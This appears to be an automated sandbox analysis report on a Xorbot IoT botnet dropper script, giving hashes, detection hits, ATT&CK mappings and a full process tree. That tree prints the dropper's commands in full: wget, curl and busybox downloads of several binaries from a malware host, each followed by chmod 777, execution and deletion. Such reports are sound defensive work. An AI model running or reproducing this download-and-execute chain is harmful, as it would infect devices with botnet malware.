xorbot | cc44fb06029f4ca74d159587bedf7dd8a9b1e8d88c4b7523cc0aa6d751cc9ce1

Analysis

max time kernel
149s
max time network
145s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
18-02-2025 04:37

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General

Target

bins.sh
Size

10KB
MD5

129dd74106c86f6d4928cda4bb98caa0
SHA1

5edca1654f4802559af681b6818a0287a3e0021d
SHA256

cc44fb06029f4ca74d159587bedf7dd8a9b1e8d88c4b7523cc0aa6d751cc9ce1
SHA512

b0956892881551ac423d01b80701907e123bfae9d470d6925df04eba32d8343003ee1094241a18616af74cce2573009a7f40e60432b4ecbcc39aeb6f29459782
SSDEEP

192:nSRNW23Cm1QA4b/mRxsJlsP/OwyNH/Cm1QAwb/mRxAJlsP/l:nSRNW2MJlsP/OwyNHEJlsP/l

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 6 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot
behavioral3/files/fstream-5.dat	family_xorbot
behavioral3/files/fstream-7.dat	family_xorbot
behavioral3/files/fstream-9.dat	family_xorbot
behavioral3/files/fstream-11.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
758	chmod
832	chmod
843	chmod
851	chmod
859	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP	760	bins.sh
/tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi	833	bins.sh
/tmp/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony	844	bins.sh
/tmp/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx	852	bins.sh
/tmp/Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL	860	bins.sh

Reads runtime system information 6 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 17 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
842	busybox
848	curl
855	wget
741	curl
847	wget
863	wget
748	busybox
774	curl
801	busybox
837	curl
850	busybox
856	curl
864	curl
728	wget
765	wget
836	wget
858	busybox

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL	curl
File opened for modification	/tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP	wget
File opened for modification	/tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP	curl
File opened for modification	/tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi	curl
File opened for modification	/tmp/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony	wget
File opened for modification	/tmp/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx	wget
File opened for modification	/tmp/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx	curl
File opened for modification	/tmp/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx	busybox
File opened for modification	/tmp/Et7R5Ki0AOIC3KD41BWjHOaozhv8y4IrUX	wget
File opened for modification	/tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi	wget
File opened for modification	/tmp/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony	curl
File opened for modification	/tmp/Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:718
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:724
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:728
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  - System Network Configuration Discovery
  PID:748
- /bin/chmod
  chmod 777 YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  ./YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  PID:760
- /bin/rm
  rm YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  PID:763
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:765
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:774
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
  2⤵
  - System Network Configuration Discovery
  PID:801
- /bin/chmod
  chmod 777 dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
  ./dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
  2⤵
  PID:833
- /bin/rm
  rm dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
  2⤵
  PID:835
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:836
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:837
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
  2⤵
  - System Network Configuration Discovery
  PID:842
- /bin/chmod
  chmod 777 JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
  ./JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
  2⤵
  PID:844
- /bin/rm
  rm JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
  2⤵
  PID:846
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:847
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:848
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:850
- /bin/chmod
  chmod 777 DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
  ./DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
  2⤵
  PID:852
- /bin/rm
  rm DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx
  2⤵
  PID:854
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:855
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:856
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
  2⤵
  - System Network Configuration Discovery
  PID:858
- /bin/chmod
  chmod 777 Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
  ./Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
  2⤵
  PID:860
- /bin/rm
  rm Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL
  2⤵
  PID:862
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Et7R5Ki0AOIC3KD41BWjHOaozhv8y4IrUX
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:863
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Et7R5Ki0AOIC3KD41BWjHOaozhv8y4IrUX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/DpKZabuFwClKmoLLh8ScUTaMSLbrOhN5Nx

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/Et7R5Ki0AOIC3KD41BWjHOaozhv8y4IrUX

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/Zh4At1kfGWMFusqLecWdG0YV92tvTXZATL

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit